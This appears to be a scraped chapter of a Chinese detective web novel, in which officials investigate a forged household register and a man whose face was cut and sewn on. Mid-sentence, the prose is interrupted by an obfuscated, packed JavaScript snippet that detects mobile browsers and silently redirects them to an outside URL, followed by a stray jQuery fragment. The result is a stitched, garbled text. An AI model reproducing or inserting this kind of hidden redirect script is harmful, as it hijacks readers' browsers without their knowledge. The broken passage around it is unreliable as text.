默认冷灰
24号文字
方正启体

38. 我叫张大花(四)

作者:裴令仪本书字数:K更新时间:
    谢怀玉闻言,亲自上手检查了张大花的脸及脖颈处,确认不是人皮面具,随后对着夏渝点了点头。


    “你口中的张大花可有其他特征?”


    夏渝冷冷问道。


    “此人的长相、姓名、生活习性,甚至是背景皆与你口中的张大花相同,你又如何确认不是?”


    女乞丐缩了缩脖子,眼神胡乱瞟了瞟,落在张大花身上,又回到夏渝眼中。


    “俺认识的张大花,眉头处有一道极淡的疤,要细瞧,而且俺俩关系可亲了,不会用如此冷漠的眼珠子看俺。”


    谢怀玉与衙役皆上前确认后,表示这个张大花没有疤痕。


    “你认识的张大花可有兄弟?”


    女乞丐摇了摇头,道。


    “俺俩一村的,自小便玩在一处,没听说过有兄弟,堂表兄的也都瞅见过。”


    那真是奇了怪了,世界上竟会有名字、生活习性及长相都相同的两个人吗?


    不多时,张大花他爷被青木带了过来,跪在堂中。


    夏渝特意观察了两人的神色,不似相熟,也瞧见了张大花见着他爷委屈哭泣时,女乞丐嫌弃的神情。


    夏渝疑惑的表情太明显,女乞丐见状主动解释道。


    “俺们永城人,从不哭哭啼啼,你瞅这亲爷的样,放在永城是要被分家的!”


    “俺未婚夫婿,自幼便不恋家,十岁上铁匠铺练身子,十二岁上包子铺当学徒,十五岁便成了家里的顶梁柱,下地干活,牛还不一定干的过他呢!”


    永城民风彪悍,最崇尚武力与豪爽的性子,孝亲敬长是本分,但民众普遍不屑于做这些煽情的行为,说些示弱的话语,女乞丐在堂上见着了官老爷,表情畏畏缩缩,但骨子里对还依赖家的男人极其轻蔑,提起自家夫婿,眼中的自豪溢了出来。


    张大花闻言,哼了一声,狠狠将眼泪鼻涕擦在他爷身上,惹得他爷下意识抬手要打,看在他身上囚服及官老爷的面子上,手最终在他背后拍了拍,化成无声的安慰。


    “张大花在永城可有兄弟,亦或是双生子?”


    夏渝问道,顺带好心的提醒了一下。


    “虽民众中普遍有奇数为阳,偶数为阴的观点【1】,但这是在公堂之上,你定要想好了再说。”


    张大花他爷摇摇头,道。


    “他出身时俺便等在门外,从未见过什么双生子,况且俺家也不信这个,都是俺家的娃娃,哪有什么阴啊阳的。”


    “至于堂表兄弟,有倒是有,但近几年没听说过哪个在永城。”


    这下线索便只剩下这女乞丐了与知府了。


    孙昱卿既有能力修改张大花的户籍,想必是处理好了后续,不会让人轻易发现。


    而这据这女乞丐所述画出的,带走另一个张大花的人,也是孙昱卿。


    夏渝将众人安排下去,张大花带回牢房,他爷与女乞丐分别安置在不同的房间,由专门的衙役看管,随后看向心虚的不停地摸虚汗的知府,扯了扯嘴角,皮笑肉不笑的看着他。


    不待夏渝发难,知府身边的同知、通判先行对着知府怒吼。


    “我的大人呐,您就真缺这点银子吗?实在没银子用,将我的俸禄拿走行不行!”


    “说过多少次了,不要贪,不要贪,小贪是罪大贪伤身,您迟早要败在你这坏习惯手里。”


    “您说您何必,您敢说这改户籍没有您的手笔?此案关系甚大,您这是要将官帽还给圣上啊!”


    两人一拍桌子,知府吓得一下子站了起来,怯懦道。


    “那人给的实在是太多了,我也不想,但这不没忍住嘛。”


    说话的声音越来越小,最后变成蚊子叫。


    要说这知府为人确实是好,御下以宽,恩威并重,为官公正,一心为民,就是喜欢在自以为不伤及社稷的事情上,耍点小心思。


    故而,其下属忠心,跟着他顺心,有时也闹心。


    就像这时。


    两人是恨不得将他爱摸银子的手剁了,将他爱看金子的眼睛挖了,然后背着他的尸体去向圣上请罪。


    知府哆哆嗦嗦的翻找出改过的那份户籍,递给夏渝,道。


    “是那人亲自改的,或许在字迹上会有些发现。”


    “亲自?”


    夏渝语调上扬,带着不可置信。


    “户籍录消皆由专门的官吏进行,字体、格式都有明确规定,你如何让孙昱卿亲自改?”


    “那时,他多给了我几块金子,我一时间迷了眼,就同意了。”


    “多大的金子啊,值得你一错再错?”


    “就......”


    知府比划了一下,吓了在场众人一跳。


    嚯,哪怕是谢怀玉,也是头一回见这么大的金子,真是开了眼了。


    “给了我三块呢,我就鬼迷心窍了。”


    这哪是普通金子啊,分明是大金饼。


    夏渝收回蠢蠢欲动的心,将户籍递给谢怀玉辨认,随后拍了拍胸膛,安慰自己。


    “都是横财,不要眼红。”


    将情况上报后,知府去留将由圣上定夺,在未收到新官上任的通知时,由同知、通判轮流监视。


    *


    又是一个晴朗的夜空,三人坐在住处院中的石桌椅上,整理着卷宗。


    今夜无风,繁星挂在空中不再摇摇晃晃,开始带上淡淡虚影,气温渐渐回升,呆在屋内若是不开窗,已能隐隐感受到热意。


    案件的推进暂时没有进展,南方传来的消息暂且稳妥,三人便不着急南下。


    只是瞧着越堆越高的卷宗,夏渝心中不免有些焦躁。


    咚咚咚。


    院门被人轻轻敲响,随之而来的时一声轻轻的呼唤。


    “理正、少卿~你们可在?”


    带着试探的声音有些耳熟,夏渝正烦躁着,此刻不耐烦猜这人是谁,猛地拉开门,面色不善的看向来人。


    来人见夏渝脸色漆黑,以为只是大半夜扰民,见状嘿嘿一笑,递上了串糖葫芦,笑道。


    “吃点甜的开心一下,小的给您送线索来了。”


    他让开些身子,露出背后板车上的人。


    夏渝检查过他的面皮后,见是本人才放心的咬糖葫芦,将视线落在板车上。


    想来吏部尚书之子应当不会加入圣莲教。


    吧?


    毕竟吏部尚书的为人,朝中众人无不夸赞,世代为官,处事圆滑。


    “这位是?”


    夏渝看了又看,没认出来。


    不知是不是夜色昏暗,躺在板车上的人面容


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012706|192113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有些模糊,嘴角僵硬上扬,神色却异常平静,双手被平放在肚子上,躺的直挺挺,一身深灰色粗布衣,脚穿红鞋。


    杨明渊又嘿嘿一笑,从怀中掏出一张人皮面具,往他脸上一盖。


    夏渝眼睛一下子变亮了,招呼着将板车拉进院中。


    杨明渊见谢怀玉尚坐在院中看卷宗,将板车放下后,便又变戏法似的拿出两串糖葫芦,递给两人。


    “瞧!我特意去买的!好不好吃!”


    夏渝配合的鼓掌,给足了情绪价值。


    不待人发问,杨明渊自觉讲述了从家中又一次逃出来的经历。


    “这次出逃太匆忙,来不及准备行李,怕银子用的快,便混入了乞丐队伍,一路乞讨南下,有阵子经过耒阳时,听说有京城来的大官一路抓恶徒抓到安城来了,我便紧赶慢赶往这边走。”


    “前些日子白日里,我远远在官府门口见着你们了,怕你们将我送回去,想着先跟一段路,哪成想,见着你们将一女乞丐带进去了。”


    “那女乞丐我熟啊,她的故事都传遍乞丐堆了,我便去了永城一趟。”


    “在永城打听了半天,花了我不少银子呢!好不容易打听到了她家还有一些情报,我去她家院子里找东西时,见板车上躺着一人,便看了看。”


    “这一瞧便不得了,这人的脸皮空空盖在脸上,我寻思不对劲,便将人拖了过来,还好你们还没走,嘿嘿。”


    “这个糖葫芦,是我听一个小乞丐说的,这家的葫芦甜而不腻,一点都不酸,刚好我身上的铜板够买三根,就想着给你们带过来。”


    “怎么样,好不好吃?”


    杨明渊说话时,眼睛亮晶晶的,配上灵动的表情,整个人像一只刚从外边回来爱撒娇打滚的小狗,正向着主人讨功劳。


    三人听着他说话,嚼糖葫芦的嘴渐渐慢了下来,艰难的吞咽着,眼神不自觉的打量起他来。


    比起初次见面,他瘦了不少,穿着一身到处都是补丁的粗布衣裳,双肩处有着深色的印子,头发也乱糟糟的,到处乱飞,打着毛躁的结,鞋子单薄还露着脚趾,讲话时表情生动,手舞足蹈。


    见他问起糖葫芦味道时,下意识咽口水的模样,很难将他与吏部尚书之子联系起来。


    可他偏偏就是。


    “为何要这样做?”


    明知缘由,夏渝还是问了出来。


    杨明渊挺了挺胸,站直了些,一脸骄傲道。


    “要成为跟大理寺少卿一样厉害的捕贼官!”


    谢怀玉动了动唇,说不清自己是什么情绪,手中的糖葫芦忽而变得滚烫。


    他滚了滚喉咙,说出口的话让杨明渊惊喜万分。


    “行,那你此后便跟着我们一同南下,你父亲那边我会请大理寺卿去说。”


    杨明渊闻言激动的跺了跺脚,兴奋劲上来,所有话都一股脑秃噜出来。


    “这人的面皮是不久前被缝上去的,本来的是这个。”


    他拿下虚盖在那人脸上的面皮,道。


    “下手的人极狠,割的很深,且是清醒时操作,故而纹路多,线条也不流畅。”


    青木取下灯笼,照在重新盖上面皮的人脸上。


    橙黄的灯光下,眉头的疤痕隐隐作现,此人分明是——张大花。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)